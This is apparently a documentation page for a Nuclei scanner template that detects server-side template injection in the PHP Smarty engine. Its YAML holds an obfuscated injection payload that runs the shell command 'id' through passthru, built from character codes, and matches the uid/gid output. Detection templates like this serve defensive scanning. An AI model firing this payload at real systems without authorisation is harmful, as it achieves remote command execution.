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Smarty - Server Side Template Injection

ID: smarty-ssti

Severity: high

Author: ritikchaddha

Tags: smarty,ssti,dast

Description

Section titled “Description”

In PHP template engine Smarty, template injection is possible by exploiting the passthru function combined with array_map and chr.

YAML Source

Section titled “YAML Source”
id: smarty-ssti


info:
  name: Smarty - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    In PHP template engine Smarty, template injection is possible by exploiting the passthru function combined with array_map and chr.
  reference:
    - https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
  metadata:
    max-request: 1
  tags: smarty,ssti,dast


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    payloads:
      injection:
        - "{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}"


    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"


    skip-variables-check: true
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/smarty-ssti.yaml"

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